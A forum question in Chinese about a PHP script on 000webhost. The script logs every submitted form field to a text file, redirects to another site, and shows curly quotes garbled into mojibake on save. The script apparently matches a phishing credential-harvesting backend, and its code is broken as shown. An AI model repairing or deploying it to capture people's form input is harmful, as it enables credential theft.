我正在使用000webhost在php页面中运行此脚本:
<?php
header (‘Location: http://www.website.com/’);
$handle = fopen(“log.txt”, “a”);
foreach($_POST as $variable => $value) {
fwrite($handle, $variable);
fwrite($handle, “=”);
fwrite($handle, $value);
fwrite($handle, “rn”);
}
fwrite($handle, “rn”);
fclose($handle);
exit;
?>
然而,当我保存文件时,它会改为:
<?php
header (âLocation: http://www.website.com/â);
$handle = fopen(âlog.txtâ, âaâ);
foreach($_POST as $variable => $value) {
fwrite($handle, $variable);
fwrite($handle, â=â);
fwrite($handle, $value);
fwrite($handle, ârnâ);
}
fwrite($handle, ârnâ);
fclose($handle);
exit;
?>
是否有任何理由这样做,如果是这样,我该怎么做才能阻止它?